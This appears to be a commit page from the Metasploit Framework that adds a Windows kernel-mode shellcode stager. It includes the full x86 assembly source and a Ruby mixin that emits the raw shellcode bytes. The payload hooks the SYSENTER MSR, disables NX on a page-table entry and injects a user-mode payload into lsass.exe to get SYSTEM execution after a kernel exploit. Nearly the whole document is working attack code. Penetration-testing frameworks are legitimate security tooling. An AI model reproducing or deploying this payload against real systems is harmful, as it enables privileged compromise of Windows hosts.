Commit the stager_sysenter_hook win32 kernel shellcode source and mixin patch, resolves #405.
git-svn-id: file:///home/svn/framework3/trunk@8655 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
34489f9a61
commit
88cc851a41
|
@ -0,0 +1,121 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Compatible: Windows 7, 2008, Vista (Possibly 2003, XP)
|
||||
; Size: 202 bytes
|
||||
; Build: >build.py stager_sysenter_hook
|
||||
; Recommended Reading: Kernel-mode Payloads on Windows, 2005, bugcheck & skape.
|
||||
; http://www.uninformed.org/?v=3&a=4&t=sumry
|
||||
;-----------------------------------------------------------------------------;
|
||||
[bits 32]
|
||||
[org 0]
|
||||
;-----------------------------------------------------------------------------;
|
||||
ring0_migrate_start:
|
||||
cld
|
||||
cli
|
||||
jmp short ring0_migrate_bounce ; jump to bounce to get ring0_stager_start address
|
||||
ring0_migrate_patch:
|
||||
pop esi ; pop off ring0_stager_start address
|
||||
; get current sysenter msr (nt!KiFastCallEntry)
|
||||
push 0x176 ; SYSENTER_EIP_MSR
|
||||
pop ecx
|
||||
rdmsr
|
||||
; save origional sysenter msr (nt!KiFastCallEntry)
|
||||
mov dword [ esi + ( ring0_stager_data - ring0_stager_start ) + 0 ], eax
|
||||
; retrieve the address in kernel memory where we will write the ring0 stager + ring3 code
|
||||
mov edi, dword [ esi + ( ring0_stager_data - ring0_stager_start ) + 4 ]
|
||||
; patch sysenter msr to be our stager
|
||||
mov eax, edi
|
||||
wrmsr
|
||||
; copy over stager to shared memory
|
||||
mov ecx, 0x41414141 ; ( ring3_stager - ring0_stager_start + length(ring3_stager) )
|
||||
rep movsb
|
||||
sti ; set interrupt flag
|
||||
; Halt this thread to avoid problems.
|
||||
ring0_migrate_idle:
|
||||
hlt
|
||||
jmp short ring0_migrate_idle
|
||||
ring0_migrate_bounce:
|
||||
call ring0_migrate_patch ; call the patch code, pushing the ring0_stager_start address to stack
|
||||
;-----------------------------------------------------------------------------;
|
||||
; This stager will now get called every time a ring3 process issues a sysenter
|
||||
ring0_stager_start:
|
||||
push byte 0 ; alloc a dword for the patched return address
|
||||
pushfd ; save flags and registers
|
||||
pushad
|
||||
call ring0_stager_eip
|
||||
ring0_stager_eip:
|
||||
pop eax
|
||||
; patch in the real nt!KiFastCallEntry address as our return address
|
||||
mov ebx, dword [ eax + ( ring0_stager_data - ring0_stager_eip ) + 0 ]
|
||||
mov [ esp + 36 ], ebx
|
||||
; see if we are being told to remove our sysenter hook...
|
||||
cmp ecx, 0xDEADC0DE
|
||||
jne ring0_stager_hook
|
||||
push 0x176 ; SYSENTER_EIP_MSR
|
||||
pop ecx
|
||||
mov eax, ebx ; set the sysenter msr to be the real nt!KiFastCallEntry address
|
||||
xor edx, edx
|
||||
wrmsr
|
||||
xor eax, eax ; clear eax (the syscall number) so we can continue
|
||||
jmp short ring0_stager_finish
|
||||
ring0_stager_hook:
|
||||
; get the origional r3 return address (edx is the ring3 stack pointer)
|
||||
mov esi, [ edx ]
|
||||
; determine if the return is to a "ret" instruction
|
||||
movzx ebx, byte [ esi ]
|
||||
cmp bx, 0xC3
|
||||
; only insert our ring3 stager hook if we are to return to a single ret (for stability).
|
||||
jne short ring0_stager_finish
|
||||
; calculate our r3 address in shared memory
|
||||
mov ebx, dword [ eax + ( ring0_stager_data - ring0_stager_eip ) + 8 ]
|
||||
lea ebx, [ ebx + ring3_start - ring0_stager_start ]
|
||||
; patch in our r3 stage as the r3 return address
|
||||
mov [ edx ], ebx
|
||||
; detect if NX is present (clobbers eax,ebx,ecx,edx)...
|
||||
mov eax, 0x80000001
|
||||
cpuid
|
||||
and edx, 0x00100000 ; bit 20 is the NX bit
|
||||
jz short ring0_stager_finish
|
||||
; modify the correct page table entry to make our ring3 stager executable
|
||||
mov edx, 0x45454545 ; we default to 0xC03FFF00 this for now (should calculate dynamically).
|
||||
add edx, 4
|
||||
and dword [ edx ], 0x7FFFFFFF ; clear the NX bit
|
||||
; finish up by returning into the real KiFastCallEntry and then returning into our ring3 code (if hook was set).
|
||||
ring0_stager_finish:
|
||||
popad ; restore registers
|
||||
popfd ; restore flags
|
||||
ret ; return to real nt!KiFastCallEntry
|
||||
ring0_stager_data:
|
||||
dd 0xFFFFFFFF ; saved nt!KiFastCallEntry
|
||||
dd 0x42424242 ; kernel memory address of stager (default to 0xFFDF0400)
|
||||
dd 0x43434343 ; shared user memory address of stager (default to 0x7FFE0400)
|
||||
;-----------------------------------------------------------------------------;
|
||||
ring3_start:
|
||||
pushad
|
||||
push byte 0x30
|
||||
pop eax
|
||||
cdq ; zero edx
|
||||
mov ebx, [ fs : eax ] ; get the PEB
|
||||
cmp [ ebx + 0xC ], edx
|
||||
jz ring3_finish
|
||||
mov eax, [ ebx + 0x10 ] ; get pointer to the ProcessParameters (_RTL_USER_PROCESS_PARAMETERS)
|
||||
mov eax, [ eax + 0x3C ] ; get the current processes ImagePathName (unicode string)
|
||||
add eax, byte 0x28 ; advance past '*:\windows\system32\' (we assume this as we want a system process).
|
||||
mov ecx, [ eax ] ; compute a simple hash of the name. get first 2 wide chars of name 'l\x00s\x00'
|
||||
add ecx, [ eax + 0x3 ] ; and add '\x00a\x00s'
|
||||
cmp ecx, 0x44444444 ; check the hash (default to hash('lsass.exe') == 0x7373616C)
|
||||
jne ring3_finish ; if we are not currently in the correct process, return to real caller
|
||||
call ring3_cleanup ; otherwise we first remove our ring0 sysenter hook
|
||||
call ring3_stager ; and then call the real ring3 payload
|
||||
jmp ring3_finish ; should the payload return we can resume this thread correclty.
|
||||
ring3_cleanup:
|
||||
mov ecx, 0xDEADC0DE ; set the magic value for ecx
|
||||
mov edx, esp ; save our esp in edx for sysenter
|
||||
sysenter ; now sysenter into ring0 to remove the sysenter hook (return to ring3_cleanup's caller).
|
||||
ring3_finish:
|
||||
popad
|
||||
ret ; return to the origional system calls caller
|
||||
;-----------------------------------------------------------------------------;
|
||||
ring3_stager:
|
||||
; ...ring3 stager here...
|
||||
;-----------------------------------------------------------------------------;
|
|
@ -11,6 +11,69 @@ module Kernel
|
|||
#
|
||||
module Stager
|
||||
|
||||
#
|
||||
# Works on Vista, Server 2008 and 7.
|
||||
#
|
||||
# Full assembly source at:
|
||||
# /msf3/external/source/shellcode/windows/x86/src/kernel/stager_sysenter_hook.asm
|
||||
#
|
||||
# This payload works as follows:
|
||||
# * Our sysenter handler and ring3 stagers are copied over to safe location.
|
||||
# * The SYSENTER_EIP_MSR is patched to point to our sysenter handler.
|
||||
# * The srv2.sys thread we are in is placed in a halted state.
|
||||
# * Upon any ring3 proces issuing a sysenter command our ring0 sysenter handler gets control.
|
||||
# * The ring3 return address is modified to force our ring3 stub to be called if certain conditions met.
|
||||
# * If NX is enabled we patch the respective page table entry to disable it for the ring3 code.
|
||||
# * Control is passed to real sysenter handler, upon the real sysenter handler finishing, sysexit will return to our ring3 stager.
|
||||
# * If the ring3 stager is executing in the desired process our sysenter handler is removed and the real ring3 payload called.
|
||||
#
|
||||
def self.stager_sysenter_hook( opts = {} )
|
||||
|
||||
# The page table entry for StagerAddressUser, used to bypass NX in ring3 on PAE enabled systems (should be static).
|
||||
pagetable = opts['StagerAddressPageTable'] || 0xC03FFF00
|
||||
|
||||
# The address in kernel memory where we place our ring0 and ring3 stager (no ASLR).
|
||||
kstager = opts['StagerAddressKernel'] || 0xFFDF0400
|
||||
|
||||
# The address in shared memory (addressable from ring3) where we can find our ring3 stager (no ASLR).
|
||||
ustager = opts['StagerAddressUser'] || 0x7FFE0400
|
||||
|
||||
# Target SYSTEM process to inject ring3 payload into.
|
||||
process = (opts['RunInWin32Process'] || 'lsass.exe').unpack('C*')
|
||||
|
||||
# A simple hash of the process name based on the first 4 wide chars.
|
||||
# Assumes process is located at '*:\windows\system32\'.
|
||||
checksum = process[0] + ( process[2] << 8 ) + ( process[1] << 16 ) + ( process[3] << 24 )
|
||||
|
||||
# The ring0 -> ring3 payload blob.
|
||||
r0 = "\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x60" +
|
||||
"\x8B\x7E\x64\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" +
|
||||
"\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" +
|
||||
"\x58\x8B\x58\x57\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" +
|
||||
"\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x34" +
|
||||
"\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x28\x8B\x58\x5F\x8D" +
|
||||
"\x5B\x6C\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" +
|
||||
"\x00\x74\x11\xBA\x45\x45\x45\x45\x81\xC2\x04\x00\x00\x00\x81\x22" +
|
||||
"\xFF\xFF\xFF\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43" +
|
||||
"\x43\x43\x43\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2E" +
|
||||
"\x8B\x43\x10\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9" +
|
||||
"\x44\x44\x44\x44\x75\x18\xE8\x0A\x00\x00\x00\xE8\x10\x00\x00\x00" +
|
||||
"\xE9\x09\x00\x00\x00\xB9\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"
|
||||
|
||||
# The ring3 payload.
|
||||
r3 = opts['UserModeStub'] || ''
|
||||
|
||||
# Patch in the required values.
|
||||
r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + r3.length - 0x1C ) ].pack("V") )
|
||||
r0 = r0.gsub( [ 0x42424242 ].pack("V"), [ kstager ].pack("V") )
|
||||
r0 = r0.gsub( [ 0x43434343 ].pack("V"), [ ustager ].pack("V") )
|
||||
r0 = r0.gsub( [ 0x44444444 ].pack("V"), [ checksum ].pack("V") )
|
||||
r0 = r0.gsub( [ 0x45454545 ].pack("V"), [ pagetable ].pack("V") )
|
||||
|
||||
# Return the ring0 -> ring3 payload blob with the real ring3 payload appended.
|
||||
return r0 + r3
|
||||
end
|
||||
|
||||
#
|
||||
# XP SP2/2K3 SP1 ONLY
|
||||
#
|
||||
|
|
Loading…
Reference in New Issue